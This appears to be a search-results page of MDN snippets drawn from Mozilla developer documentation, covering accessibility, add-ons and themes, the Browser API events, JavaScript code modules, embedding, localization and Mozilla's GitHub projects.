...ssage within the priority queue. the following describes actions that should be taken for an event with the given politeness level: off: no action should be taken. the event should be filtered out as early as possible to prevent performance degradation. polite: a message should be derived from the event and added to the queue. assertive: the queue should be purged of 'polite' messages and the
new message should be added to the queue. speak should not be interrupted. rude: the queue should be purged of 'polite' and 'assertive' messages and the
new message should be added to the queue. current utterances should be allowed to finish but the 'rude' messages should be output as soon as possible. container-atomic the atomic property determines if a live region change should be presented on ...
...s set to "true", it means that the region must be presented as a whole while atomic="false" (default) indicates that the region can stand on it's own. the text offsets associated with a text changed event are used when supporting this property. the offsets can be acquired directly in a text changed event object in at-spi and through the use of iaccessibletext::get_oldtext and iaccessibletext::get_
newtext in iaccessible2. when atomic is set to "false", the start index and end index/run length are used as given. the result being that only the change will be presented. when atomic is set to "true", the entire region should be presented. in this case the start index is 0 and the end index/run length is the length of the text - 1. container-channel the channel property defines two channels - 'm...
Accessibility information for UI designers and developers
s are skipped in the html. designers are encourage to also not skip levels in designs. see also: heading elements join the mozilla accessibility community live chat both end users and developers are invited for discussion on the live irc channel at irc.mozilla.org/#accessibility. since this is a worldwide effort, there is always a good chance to find someone to chat with there, day or night. ...
...gns. see also: heading elements join the mozilla accessibility community live chat both end users and developers are invited for discussion on the live irc channel at irc.mozilla.org/#accessibility. since this is a worldwide effort, there is always a good chance to find someone to chat with there, day or night. ...
...e chat both end users and developers are invited for discussion on the live irc channel at irc.mozilla.org/#accessibility. since this is a worldwide effort, there is always a good chance to find someone to chat with there, day or night.
newsgroup and mailing list we have two discussion lists, which can be read via a
newsgroup reader, as a mailing list or via google groups. ...
Information for Assistive Technology Vendors
oftware, such as screen readers, voice dictation packages and screen magnifiers to provide support for mozilla. join the mozilla accessibility community live chat both end users and developers are invited for discussion on the live irc channel at irc.mozilla.org/#accessibility. since this is a worldwide effort, there is always a good chance to find someone to chat with there, day or night. ...
... provide support for mozilla. join the mozilla accessibility community live chat both end users and developers are invited for discussion on the live irc channel at irc.mozilla.org/#accessibility. since this is a worldwide effort, there is always a good chance to find someone to chat with there, day or night. ...
...e chat both end users and developers are invited for discussion on the live irc channel at irc.mozilla.org/#accessibility. since this is a worldwide effort, there is always a good chance to find someone to chat with there, day or night.
newsgroup and mailing list we have two discussion lists, which can be read via a
newsgroup reader, as a mailing list or via google groups. ...
Information for users
es with big icons themes with extra large and bright icons themes with extra large and extra bold text join the mozilla accessibility community live chat both end users and developers are invited for discussion on the live irc channel at irc.mozilla.org/#accessibility. since this is a worldwide effort, there is always a good chance to find someone to chat with there, day or night. ...
... large and extra bold text join the mozilla accessibility community live chat both end users and developers are invited for discussion on the live irc channel at irc.mozilla.org/#accessibility. since this is a worldwide effort, there is always a good chance to find someone to chat with there, day or night. ...
...e chat both end users and developers are invited for discussion on the live irc channel at irc.mozilla.org/#accessibility. since this is a worldwide effort, there is always a good chance to find someone to chat with there, day or night.
newsgroup and mailing list we have two discussion lists, which can be read via a
newsgroup reader, as a mailing list or via google groups. ...
Index
there may be occasions where you want to retire one of your extensions. this article suggests the steps you might want to follow, as well as offering some pointers to a suitable timeline. 682 submitting an add-on add-ons, beginner, tutorial, webextensions this article walks through the process of publishing an add-on. if you just want to get started, head to the submit a
new add-on page on amo. 683 source code submission add-ons, extensions, review policy, distribution to complete the review process at addons.mozilla.org (amo), reviewers must be able to read the code in your extension. some build processes render extension code difficult to read. these processes include minifying your code, as well as the use of module bundlers or similar tools, ...
...rowser; this is the area behind the menu bar, toolbars, address bar, search bar, and tab strip. 687 using the amo theme generator amo, add-ons, firefox, guide, tutorial, add-on the theme generator on addons.mozilla.org (amo) guides you through the process of creating a theme for firefox. once you have defined the colors and image for your theme, the generator will submit your
new theme to amo. you may submit themes for publishing on amo or for self-distribution. 688 third party library usage add-ons, extensions, review policy to complete the review process at addons.mozilla.org (amo), reviewers must be able to verify the code in your extension. you may include third-party libraries in your extension. in that case, when you upload your extension to amo...
...amo), reviewers must be able to verify the code in your extension. you may include third-party libraries in your extension. in that case, when you upload your extension to amo, you will need to provide links to the library source code. 689 updates firefox supports automated updates to add-ons using json update manifests. add-ons hosted on amo automatically receive updates to
new versions posted there. other add-ons must specify the location of their update manifests. ...
Theme concepts
the look of the browser by adding images to the header area of the firefox browser; this is the area behind the menu bar, toolbars, address bar, search bar, and tab strip. these theme options can be implemented as static themes (although the theme images themselves may be animated) or as dynamic themes created in a browser extension. if you have a lightweight theme it will be converted to this
new theme format automatically before lightweight themes are deprecated. you do not need to port your theme. however, please feel free to update your themes to use any of the
new features described here. static themes static themes are specified using the same resources as a browser extension: a manifest.json file to define the theme components with those components stored in the same folder as th...
...d themes it is possible to create an animated theme using an apng format image, as in the themes example animated. however, remember that rapid animations, such as the one in the example might be too distracting for a practical theme. you can also animate themes programmatically, which we discuss in dynamic themes. ...
...animations, such as the one in the example might be too distracting for a practical theme. you can also animate themes programmatically, which we discuss in dynamic themes. updating static themes if your static theme is hosted on amo, you can upload a
new version using the developer hub with the following steps: visit the product page for your theme through the developer hub select "upload
new version" on the left upload your packaged file for validation or modify it using the theme generator for self-hosted static themes, a
new version can be updated through amo by following the above steps or be handled by you through an updateurl or external application updates. a
new version will need to be signed through the developer hub. if you are uploading a packaged file, the version nu...
Add-ons
add-ons allow developers to extend and modify the functionality of firefox. they are written using standard web technologies - javascript, html, and css - plus some dedicated javascript apis. among other things, an add-on could: change the appearance or content of particular websites modify the firefox user interface add
new features to firefox there are several types of add-ons, but the most common type are extensions. developing extensions in the past, there were several toolsets for developing firefox extensions, but as of november 2017, extensions must be built using webextensions apis. other toolsets, such as overlay add-ons, bootstrapped add-ons, and the add-on sdk, are no longer supported. extensions written using webextensions apis for firefox are designed to be cross-brow...
...we are currently building support for the webextensions api on geckoview. migrate an existing extension if you maintain a legacy extension, such as an xul overlay, bootstrapped, or add-on sdk-based extension, you can still port it...
...tools and processes for developing and testing how to publish your extension on addons.mozilla.org or distribute it yourself how to manage your published extension an enterprise guide for developing and using extensions how to develop themes for firefox firefox developer communities extensions for firefox for android in 2020, mozilla will release a
new firefox for android experience. this
new, high-performance browser for android has been rebuilt from the ground up using geckoview, mozilla’s mobile browser engine. we are currently building support for the webextensions api on geckoview. migrate an existing extension if you maintain a legacy extension, such as an xul overlay, bootstrapped, or add-on sdk-based extension, you can still port it to use webextension apis. there are som...
Cookies Preferences in Mozilla
earlier versions of thunderbird only allowed cookies on rss feeds. network.cookie.prefsmigrated default value: f...
...earlier versions of thunderbird only allowed cookies on rss feeds. network.cookie.prefsmigrated default value: false migration pref for users with older profiles (before mozilla 1.7). if ...
...earlier versions of thunderbird only allowed cookies on rss feeds. ...
The Firefox codebase: CSS Guidelines
if the css that is being written is needed, it can be the case that a common component has been already written could be reused with or without changes. most of the time, the common component already follows the a11y/theme standards defined in this guide. so, when possible, always prefer editing common components to writing your own. also, it is good practice to introduce a common class when the
new element you are styling reuses some styles from another element, this allows the maintenance cost and the amount of code duplication to be reduced. formatting spacing & indentation 2 spaces indentation is preferred add a space after each comma, except within color functions: linear-gradient(to bottom, black 1px, rgba(255,255,255,0.2) 1px) always add a space before !important. omit u...
...rule from applying, this is especially relevant for different element states (:hover, :active, [checked] or [disabled]). however, never try to increase the selector of the rule you are adding as it can easily become hard to understand. finally, once you have checked all the things above, you can permit yourself to use !important along with a comment why it is needed. using css variables adding
new variables before adding
new css variables, please consider the following questions: is the variable value changed at runtime? (either from javascript or overriden by another css file) if the answer is no, consider using a preprocessor variable or simply inlining the value. is the variable value used multiple times? if the answer is no and the value isn't changed at runtime, t...
...efox the toolkit/ directory contains styles that are shared across all toolkit applications (thunderbird and seamonkey) under each of those two directories, there is a themes directory containing 4 sub-directories: shared linux osx windows the shared directories contain styles shared across all 3 platforms, while the other 3 directories contain styles respective to their platform. for
new css, when possible try to privilege using the shared directory, instead of writing the same css for the 3 platform specific directories, especially for large blocks of css. content css vs. theme css the following directories also contain css: browser/base/content/ toolkit/content/ these directories contain content css, that applies on all platforms, which is styling deemed to be essential...
Using the Browser API
de and used in places like the firefox devtools. it consists of two major parts: custom <iframe> attributes: by adding a mozbrowser attribute to the <iframe> element we can make it appear like a top-level browser window to the embedded content. this means that window.top, window.parent, window.frameelement, etc. should not reflect the frame hierarchy. api extensions: the api includes several
new methods and events to manipulate and listen for changes to the embedded content's state, interited by the htmliframeelement interface. note: an iframe enhanced by the browser api is commonly referred to as a "browser iframe". we'll be using this term throughout the current article, and other parts of the documentation. demo to demonstrate basic usage of this api, we have created a simple br...
... 'submit' event is fired, which we handle like this: urlform.addeventlistener('submit',function(e) { e.preventdefault(); browser.src = urlbar.value; urlbar.blur(); }); we first call preventdefault() to stop the form just submitting and reloading the page — which is really not what we want. we then set the browser iframe's src attribute to equal the value of the url bar, which causes the
new url to be loaded in the iframe. finally, we call blur() on the url bar to stop focusing it, so the keyboard moves off the screen, allowing us to get our full screen view back. there's another event listener added later on in the code that listens for the mozbrowserlocationchange event. when this fires, we set the value inside the url bar input to be equal to the event object detail property — ...
...ntlistener('mozbrowsererror', function (e) { console.log("loading error: " + e.detail); }); this simple listener logs an error message to the console when an error with the browser iframe is encountered. note that this doesn't include simple errors due to incorrect urls being entered. see the mozbrowsererror page for more details. other methods and events we've only covered a fraction of the
new methods and events that the browser api adds. there are many others covering a variety of functions and edge case requirements: for the full list of methods, check out the htmliframeelement page. for the full list of events, see the browser api landing page events section. ...
mozbrowsericonchange
<link rel="icon"> or <link rel="apple-touch-icon">) is available in the browser <iframe>'s content. ...
...ype of event. bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. details read only object a custom object. details the details property returns an anonymous javascript object with the following properties: href a domstring representing the path to the
new icon. sizes a domstring listing the sizes the
new icon is available in, e.g. "16x16" or "16x16 32x32". the any keyword can also be used, to represent "any size." rel a domstring representing the rel attribute value from the <link> element used to link to the icon. example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowsericonchange", function( event ) { ...
...ting the sizes the
new icon is available in, e.g. "16x16" or "16x16 32x32". the any keyword can also be used, to represent "any size." rel a domstring representing the rel attribute value from the <link> element used to link to the icon. ...
mozbrowseropenwindow
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the mozbrowseropenwindow event is fired when a
new window is required — usually when the content of a browser <iframe> successfully calls the window.open() method, or the user clicks on a link with an unknown target. the embedder must use the <iframe> passed in the event.details.frameelement property as the
new window content. general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property ...
...t. cancelable read only boolean whether the event is cancellable or not. details read only object a custom object. details the details property returns an anonymous javascript object with the following properties: url a domstring representing the url of the document loaded within the frameelement property. name a domstring representing the name of the
new browser window. features a domstring containing features represented by a list of names and values separated by commas. for a complete list of possible features, see window.open(). frameelement an object representing the
new browser <iframe> that will embed the
new content. example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowseropenwindow", function( e...
... a domstring containing features represented by a list of names and values separated by commas. for a complete list of possible features, see window.open(). frameelement an object representing the
new browser <iframe> that will embed the
new content. ...
mozbrowserresize
tring the type of event. bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. details read only object a custom object. ...
...ormally bubbles or not. cancelable read only boolean whether the event is cancellable or not. details read only object a custom object. details the details property returns an anonymous javascript object with the following properties: width a number representing the
new width of the <iframe> viewport, in device pixels. height a number representing the
new height of the <iframe> viewport, in device pixels. ...
...perty returns an anonymous javascript object with the following properties: width a number representing the
new width of the <iframe> viewport, in device pixels. height a number representing the
new height of the <iframe> viewport, in device pixels. ...
mozbrowserscroll
mstring the type of event. bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. details read only object a custom object. ...
... only boolean whether the event is cancellable or not. details read only object a custom object. details the details property returns an anonymous javascript object with the following properties: top a number representing the
new vertical scroll position of the <iframe> viewport — in css pixels — from the top of the viewport. left a number representing the
new horizontal scroll position of the <iframe> viewport — in css pixels — from the left of the viewport. ...
...ing the
new vertical scroll position of the <iframe> viewport — in css pixels — from the top of the viewport. left a number representing the
new horizontal scroll position of the <iframe> viewport — in css pixels — from the left of the viewport. ...
mozbrowserscrollareachanged
tring the type of event. bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. details read only object a custom object. ...
...ubbles or not. cancelable read only boolean whether the event is cancellable or not. details read only object a custom object. details the details property returns an anonymous javascript object with the following properties: width a number representing the
new scroll area width of the <iframe> viewport, in css pixels. height a number representing the
new scroll area height of the <iframe> viewport, in css pixels. ...
...vascript object with the following properties: width a number representing the
new scroll area width of the <iframe> viewport, in css pixels. height a number representing the
new scroll area height of the <iframe> viewport, in css pixels. ...
Embedding Tips
embedders may wish to override some of the default service implementations with their own. ...
...e page with. the nsiwebbrowserprint::printpreviewnavigate() method can be used to step through the pages. when finished with preview mode, call nsiwebbrowserprint::exitprintpreview(). how do i get popup windows working? implement and register a nsiwindowcreator object with the window watcher service. the nsiwindowcreator::createchromewindow method will be called whenever gecko needs to open a
new window. this method should create the
new browser window in the specified style and hand back the nsiwebbrowserchrome interface to it. nscomptr<nsiwindowwatcher> wwatch(do_getservice(ns_windowwatcher_contractid)); if (wwatch) { wwatch->setwindowcreator(mywindowcreator); } i need the javascript inside the browser window to talk to my embedding client. how do i do it? at startup use the categ...
... scope. if you want to create your component multiple times within the browser window, you can use a javascript constructor instead of a javascript property: catman->addcategoryentry("javascript global constructor", "my_prop_name", "my_prop_contract_id", pr_true, pr_true, getter_copies(previous)); that way you will be able to do: var my_comp =
new my_prop_name(); this was taken from weirdal's excellent "burning chrome" article. how do i specify alternate locations for profiles? specify a profile directory in your implementation of nsidirectoryserviceprovider passed to xre_initembedding. use xre_notifyprofile to make gecko actually use a profile location. how do i change the user agent string? the default useragent is set using the va...
HTML parser threading
mexecutorflusher is dispatched to the main thread. (the same runnable is used repeatedly in order to avoid cross-thread refcounting issues.) memory management when crossing the thread boundary the tree ops hold various heap-allocated objects that end up crossing the thread boundary. these objects are memory managed as follows: attribute holders (nshtml5htmlattributes objects) are allocated using
new by the tokenizer. the tree builder either transfers an attribute holder to a tree op whose destructor explicitly deletes the attribute holder or if the tree builder ends up ignoring an attribute holder, the tree builder deletes the attribute holder explicitly. attribute values, public identifiers (in doctype) and system identifiers (in doctype) are heap-allocated nsstring objects (i.e. pointed to...
...en such an op is generated.) thus, a tree op that may cause the parser to block can only occur as the last op in a queue that runflushloop sees. preparing the parser thread for script execution when the parser thread sees that it has generated a tree op that attempts to execute a (non-async, non-defer) script, it starts speculating. it acquires mspeculationmutex and while holding it, it creates a
new speculation and adds it to the queue of speculations, flushes the tree ops to the main thread, marks the nshtml5streamparser as being in a speculating state and sets the
newly created speculation object as the tree op sink (instead of the tree op stage described earlier) of the tree builder. the speculation object has a queue of tree ops (into which the tree builder will now flush ops to instead ...
... it, it calls nshtml5streamparser::continueafterscripts to resume the consumption of data from the network. continuing to use network-originating data after scripts nshtml5streamparser::continueafterscripts runs on the main thread. it acquires mspeculationmutex in order to be able to touch the queue of speculations. the mutex acquisition only blocks if the parser thread happens to be setting up a
new speculation object at the same moment. the first speculation in the speculation queue is examined. if the last character seen by the document.write() tokenizer was not a carriage return, if the document.write() tokenizer is in the "data" state and if the tree builder state snapshot on the speculation matches the state of the document.write() tree builder, the speculation has succeeded. otherwise ...
Getting Started with Chat
please see https://wiki.mozilla.org/matrix for up-to-date information. ...
... /msg nickserv help this displays a list of commands which can be used with nickserv /msg nickserv help register this displays helpful information about nickname registration /msg nickserv help identify this displays helpful information about identifying yourself upon sign in for more information about nickserv go here. chanserv this bot allows you to register
new channels and control aspects of channels. the following are some helpful commands which can be used by chanserv: /msg chanserv help this displays a list of commands which can be used with chanserv /msg chanserv identify #channel password allows you to edit the aspects of the specified channel given the correct password /msg chanserv register #channel password top...
... firebot uuid displays a unique identifier. this is useful when creating interfaces for add-on development. ...
UpdateListener
telistener to as many calls to findupdates() as you like. for each individual update check, the following methods will be called on the listener: either oncompatibilityupdateavailable() or onnocompatibilityupdateavailable(), depending on whether compatibility information for the requested application version was seen. either onupdateavailable() or onnoupdateavailable(), depending on whether a
newer version of the addon was found. onupdatefinished() to signal that the update check has completed. method overview void oncompatibilityupdateavailable(in addon addon) void onnocompatibilityupdateavailable(in addon addon) void onupdateavailable(in addon addon, in addoninstall install) void onnoupdateavailable(in addon addon) void onupdatefinished(i...
... methods oncompatibilityupdateavailable() called when the update check found compatibility information for the application and platform version that the update check was being performed for. void oncompatibilityupdateavailable( in addon addon ) parameters addon the addon that was being checked for updates onnocompatibilityupdateavailable() called when the update check found no
new compatibility information for the application and platform version that the update check was being performed for. void onnocompatibilityupdateavailable( in addon addon ) parameters addon the addon that was being checked for updates onupdateavailable() called when a
new version of an add-on has been found for install. void onupdateavailable( in addon addon, in addoninstall install ...
... void onnoupdateavailable( in addon addon ) parameters addon the addon that was being checked for updates onupdatefinished() called when the update check is complete. ...
Add-on Manager
the apis are designed to be generic and support many different types of add-ons. many functions in the add-on manager interface operate asynchronously returning results through callbacks passed to the functions. the callbacks may be called immediately while the initial function is still executing or shortly after, depending on when the requested data becomes available. ...
...ponents.utils.import("resource://gre/modules/addonmanager.jsm"); addonmanager.getalladdons(function(aaddons) { // here aaddons is an array of addon objects }); // this code will execute before the code inside the callback notifications about changes to installed add-ons are dispatched to any registered addonlisteners. they must be registered through the addaddonlistener() method. installing
new add-ons
new add-ons can be installed by using the getinstallforfile() or getinstallforurl() methods on the addonmanager object. these will pass an addoninstall instance to the callback, which can then be used to install the add-on: components.utils.import("resource://gre/modules/addonmanager.jsm"); addonmanager.getinstallforurl("http://www.foo.com/test.xpi", function(ainstall) { // ainstall ...
...e progress of addoninstalls can be monitored using an installlistener. a listener can be registered either for a specific install using the addlistener() method or for all installs using the addinstalllistener() method. finding updates add-ons can be checked for updates using the findupdates() method. it must be passed an updatelistener to receive information about compatibility information and
new update information. any available update is returned as an addoninstall which is ready to be downloaded and installed. detecting add-on changes requires gecko 7.0(firefox 7.0 / thunderbird 7.0 / seamonkey 2.4) you can also get lists of add-ons that, at startup, were changed in various ways. the getstartupchanges() method lets you find out which add-ons were installed, removed, updated...
Assert.jsm
ok, equal, notequal, deepequal, notdeepequal, strictequal, notstrictequal, throws, setreporter, report methods ok() pure assertion tests whether a value is truthy, as determined by !!gu...
...e, expected, message); undefined greater(lhs, rhs, message); undefined greaterorequal(lhs, rhs, message); undefined less(lhs, rhs, message); undefined lessorequal(lhs, rhs, message); undefined setreporter(reporterfunc); undefined report(failed, actual, expected, message, operator); constructor creates a
new assert object. let assert =
new assert(reporterfunc); the
new assert instance, assert, uses reporterfunc to report assertion results or throws an assertionerror when an assertion fails, as default behavior. ok, equal, notequal, deepequal, notdeepequal, strictequal, notstrictequal, throws, setreporter, report methods ok() pure assertion tests whether a value is truthy, as determined by !!guard. this statement is equivalen...
... parameters failed indicates if the assertion failed or not actual the result of evaluating the assertion expected expected result from the test author message short explanation of the expected result operator operation qualifier used by the assertion method (ex: '==') examples custom reporter example components.utils.import("resource://testing-common/assert.jsm"); let assert =
new assert(); assert.setreporter(function customreporter(err, message, stack) { if (err) { do_report_result(false, err.message, err.stack); } else { do_report_result(true, message, stack); } }); ...
Download
a download object represents a single download, with associated state and actions. this object is transient, though it can be included in a downloadlist so that it can be managed by the user interface and persisted across sessions. a
new download object can be created using the downloads.createdownload() function. method overview promise start(); promise launch(); promise showcontainingdirectory(); promise cancel(); promise removepartialdata(); promise whensucceeded(); promise finalize([optional] boolean aremovepartialdata); properties attribute type description canceled read only boolean indicates that the download has been canceled. this property can become true, then it can...
... the download has been completed successfully has no effect, and the method returns a resolved promise. if the download is in progress, the method returns the same promise as the previous call. if the cancel() method was called but the cancellation process has not finished yet, this method waits for the cancellation to finish, then restarts the download immediately. note: if you need to start a
new download from the same source, rather than restarting a failed or canceled one, you should create a separate download object with the same source as the current one. promise start(); parameters none. promise resolves to undefined when the download has finished successfully and you can access the target file. promise can be rejected with downloaderror if the download failed. launch() ope...
... or failed, this method has no effect, and it returns a resolved promise. if the cancel() method was called but the cancellation process has not finished yet, this method waits for the cancellation to finish, then removes the partial data. after this method has been called, if the trytokeeppartialdata property is still true when the download is restarted, partial data will be retained during the
new download attempt. promise removepartialdata(); parameters none. promise resolves to undefined when the partial data has been successfully removed. whensucceeded() returns a promise that is resolved as soon as this download finishes successfully, even if the download was stopped and restarted meanwhile. you can use this property for scheduling download completion actions in the current se...
FxAccountsOAuthClient.jsm
the fxaccountsoauthclient.jsm javascript module provides a way for browser services to authenticate with the firefox accounts oauth server. components.utils.import("resource://gre/modules/fxaccountsoauthclient.jsm"); creating a
new fxaccountsoauthclient
new fxaccountsoauthclient(object options); method overview launchwebflow(); teardown(); attributes parameters object returns the set of parameters that initialized the firefox accounts oauth flow. oncomplete function gets called when the firefox accounts oauth flow successfully completes. first and only argument is an object that has "state" and "code" properties. constructor fxaccountsoauthclient() creates and returns a
new fxaccountsoauthclient object. fxaccountsoauthclient fxacc...
...://accounts.firefox.com" [optional] scope - a colon-separated list of scopes that the user has authorized. [optional] action - if provided, should be either "signup" or "signin". parameters set of parameters to initialize the firefox accounts oauth flow. authorizationendpoint optional optional authorization endpoint for the oauth server. default: /authorization return value a
newly created fxaccountsoauthclient object implementing the methods described in this article. methods launchwebflow() opens a
new tab at the firefox accounts oauth authorization url. registers a webchannel listener and sets up a callback if needed. parameters none teardown() call this function to manually release all channels and callbacks that are in use by this client. parameters no...
... and sets up a callback if needed. parameters none teardown() call this function to manually release all channels and callbacks that are in use by this client. ...
FxAccountsProfileClient.jsm
the fxaccountsprofileclient.jsm javascript module provides a way to fetch firefox accounts profile information. the modules uses the firefox profiler server api. components.utils.import("resource://gre/modules/fxaccountsprofileclient.jsm"); creating a
new fxaccountsprofileclient
new fxaccountsprofileclient(object options); method overview fetchprofile(); attributes serverurl url profiler server url. token string bearer token. constructor fxaccountsprofileclient() creates and returns a
new fxaccountsprofileclient object. fxaccountsprofileclient fxaccountsprofileclient( object options string serverurl, string token ); parameters serverurl - firefox profile server url. token - firefox accounts oauth bearer token. return value a ...
...methods fetchprofile() fetches firefox accounts profile information. ...
...profileclient object implementing the methods described in this article. methods fetchprofile() fetches firefox accounts profile information. parameters none return value promise resolves: object - successful response from the '/profile' endpoint. rejects: fxaccountsprofileclienterror - profile client error. examples using the fxaccountsprofileclient chrome code let client =
new fxaccountsprofileclient({ serverurl: "https://profile.accounts.firefox.com/v1", token: "fxa_oauth_bearer_token", }); client.fetchprofile().then(profile => console.log(profile)); error handling the fxaccountsprofileclient.jsm normalizes request and client errors into fxaccountsprofileclienterror object. fxaccountsprofileclienterror attributes name string name of the error fxac...
Task.jsm
ed. method overview function async(atask); promise spawn(atask); properties attribute type description result read only constructor constructs a special exception that, when thrown inside a legacy generator function, allows the associated task to be resolved with a specific value. example: task.spawn( function() { yield ... ; throw
new task.result("value"); } note: if you want to exit early from a generator function, without returning a value for the task, you can just use the return statement without any arguments. note: if you want to return a result from a non-legacy generator function, don't use this. return the value instead: task.spawn( function*() { yield ... ; return "value"; } methods async()...
... early from a generator function, without returning a value for the task, you can just use the return statement without any arguments. note: if you want to return a result from a non-legacy generator function, don't use this. return the value instead: task.spawn( function*() { yield ... ; return "value"; } methods async() create and return an "async function" that starts a
new task. function async( atask ); async() is similar to spawn(), except that: it doesn't immediately start the task, rather it returns an "async function" that starts the task when the function is called; it binds the task to the async function's this object and arguments; it requires the task to be a function. async() simplifies the common pattern of implementing a method...
...(/name/, name)); }).bind(this); }) }; with async(), the method can be declared succinctly: let greeter = { message: "hello, name!", greet: task.async(function* (name) { return yield sendgreeting(this.message.replace(/name/, name)); }) }; while maintaining identical semantics: greeter.greet("mitchell").then((reply) => { ... }); // behaves the same spawn() creates and starts a
new task. promise spawn( atask ); parameters atask this parameter accepts different data types: if you specify a generator function, it is called with no arguments to retrieve the associated iterator. the generator function is a task, that is can yield promise objects to wait upon. the promise returned by the task either fulfills with the returned value if generator returns or rejects wi...
Using JavaScript code modules
), resource:, or file: url. if you're writing an extension for firefox 4 and already have a chrome.manifest with a content instruction in it, you can put the code module in your content folder and reference it like your other content files via chrome://<yourextension>/content/<yourmodule>.jsm. if your extension or application needs to support mozilla 1.9.x (firefox 3.x), you should register a
new resource url. details on doing this are in the "extending resource: urls" section below. sharing objects using code modules an extremely important behavior of components.utils.import() is that modules are cached when loaded and subsequent imports do not reload a
new version of the module, but instead use the previously cached version. this means that a given module will be shared when imported...
...pper class and export the wrapper (such as bar in the above example). unloading code modules requires gecko 7.0(firefox 7.0 / thunderbird 7.0 / seamonkey 2.4) components.utils.unload() allows you to unload a previously imported code module. once this method has been called, references to the module will continue to work but any subsequent import of the module will reload it and give a
new reference. examples a template to download and edit is seen here on github - gists - _template-bootstrapjsm.xpi extending resource: urls prior to gecko 2.0, the most common way to load code modules was using resource: urls. the basic syntax of a resource url is as follows: resource://<alias>/<relative-path>/<file.js|jsm> the <alias> is an alias to a location, usually a physical location...
...this means you can't use components.utils.import() with your own resource url at the top level in a component source. a possible so...
WebChannel.jsm
channel from the webchannelbroker. parameters none send() sends messages over the webchannel id using the "webchannelmessagetocontent" event. parameters message the message object that will be sent sendercontext the sendercontext parameter passed to the .listen method. ...
...ameters none send() sends messages over the webchannel id using the "webchannelmessagetocontent" event. parameters message the message object that will be sent sendercontext the sendercontext parameter passed to the .listen method. ...
...d, message, sendercontext) { // send messages channel.send({ data: { greeting: true } }, sendercontext); }); webpage code receive messages from an existing webchannel in content code window.addeventlistener("webchannelmessagetocontent", function(e) { // receive messages console.log(e.detail); }, true); send messages to an existing webchannel in chrome code window.dispatchevent(
new window.customevent("webchannelmessagetochrome", { detail: { id: webchannelid, message: { something: true } } })); ...
XPCOMUtils.jsm
similar to this. mycomponent.prototype = { // properties required for xpcom registration: classdescription: "unique text description", classid: components.id("{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}"), contractid: "@example.com/xxx;1", // [optional] custom factory (an object implementing nsifactory). if not // provided, the default factory is used, which returns // |(
new mycomponent()).queryinterface(iid)| in its createinstance(). _xpcom_factory: { ... }, // [optional] an array of categories to register this component in. _xpcom_categories: [{ // each object in the array specifies the parameters to pass to // nsicategorymanager.addcategoryentry(). 'true' is passed for // both apersist and areplace params. category: "some-category", // o...
... arguments: the object to define the property on the name of the property defined the getter function itself, which returns the value and which will be called just once, the first time code tries to access the property. example for this is seen at bottom of this page here. function definelazygetter( aobject, aname, alambda ); parameters aobject the object into which to add the
new lazy getter function. aname the name of the getter function to create. alambda a function that returns the value the getter should return. this function is called exactly once. this will reference aobject during execution of the function. definelazymodulegetter() defines a getter on a specified object for a module. the module will not be imported until first use. function definelazymodul...
...f the symbol exported by the module. this parameter is optional and defaults to aname. definelazyservicegetter() defines a function on a specified object which acts as a getter for a service. the service isn't obtained until the first time it's used. function definelazyservicegetter( aobject, aname, acontract, ainterfacename ); parameters aobject the object into which to add the
new lazy service getter function. aname the name of the getter function to create. acontract the contract to use to obtain the service. ainterfacename the name of the interface to query the service to. generatensgetfactory() generates the nsgetfactory() function along with the factory definition. function generatensgetfactory( componentsarray ); parameters componentsarray an array o...
QA phase
path relative to moz_objdir ac_add_options --enable-application=[browser or mail] you will need to specify which application you're localizing in the fourth line (e.g., for firefox, that's browser, thunderbird would be mail). enter the following command to perform the configuration: $ ./mach configure once your command-line finishes spitting out the config command's output, navigate to the
newly created directory: $ cd ../firefox-build/browser/locales now you're ready to build! at this point you can choose between two build options. you can either: create a langpack, which is installed on top of your mozilla application, or repack the application's binary (aka, a l10n repack), which allows you to install next to your existing mozilla application installation and use separately. ...
... pushing to your repository there are a couple of things you should take note of before you push to your repository: make sure that your files have been encoded in unicode without bom (byte order mark). remember that here you are pushing an entire directory, not a .zip archive file or an .xpi lang pack. the instructions below will help you learn how to use your hg repository. after your
new repository is created by the l10n-drivers, please visit the url for your repo. we'll use x-testing here for our example. you can do this by entering the following url into your browser: http://hg.mozilla.org/l10n-central/x-testing now, navigate to your locale's directory on your local machine. if you're using koala, this should be located at /path/to/your/koala.project/locale/3.6/x-testing, ot...
...tory on your local machine. if you're using koala, this should be located at /path/to/your/koala.project/locale/3.6/x-testing, otherwise, it should be located at /path/to/your/working_dir/l10n_base/x-testing. in this directory, you should have an hg repository. you might have created it yourself by running hg init or hg clone or you might have had it created by koala when you were setting up a
new localization project. also at this point, you shouldn't have any uncommitted changes (i.e., running the hg status command should show nothing). let's see what the last revision in this repository is. enter the following command: $ hg log -l 1 you should see an output similar to the one below: changeset: 0:7c543e8f3a6a tag: tip user: your name <email@example.com> date: ...
Mozilla projects on GitHub
name description pdf.js a portable document format (pdf) reader written entirely in javascript. shumway shumway is a flash vm and runtime written in javascript. addon-sdk the mozilla add-on sdk. asknot the what can i do for mozilla web site, which helps you figure out how you can contribute to mozilla. bugsahoy a web page to help
new mozilla contributors identify bugs to fix. bugzilla-dashboard a convenient dashboard to help you get an overview of your bugs. codefirefox the codefirefox site, with videos and tutorials about how to contribute to the firefox project and mozilla code in general. debugger.html the debugger.html, a modern universal js debugger for firefox devtools, node, and ever...
... universal js debugger for firefox devtools, node, and every other js environment. dxr an intelligent tool for browsing source code. emscripten the emscripten llvm-to-javascript compiler. fxdt-adapters the firefox developer tools adapter that lets you debug various remote targets from the firefox developer tools. firefox-dev.tools a web page to help
new mozilla contributors find bugs to work on that relate to the firefox developer tools. gecko-dev a read-only mirror of the mercurial repositories used for mozilla private code. kitsune kitsune is the platform that drives the mozilla support web site, sumo. kuma the django project that powers this site (mdn). mdn code samples for the mdn web site. ...
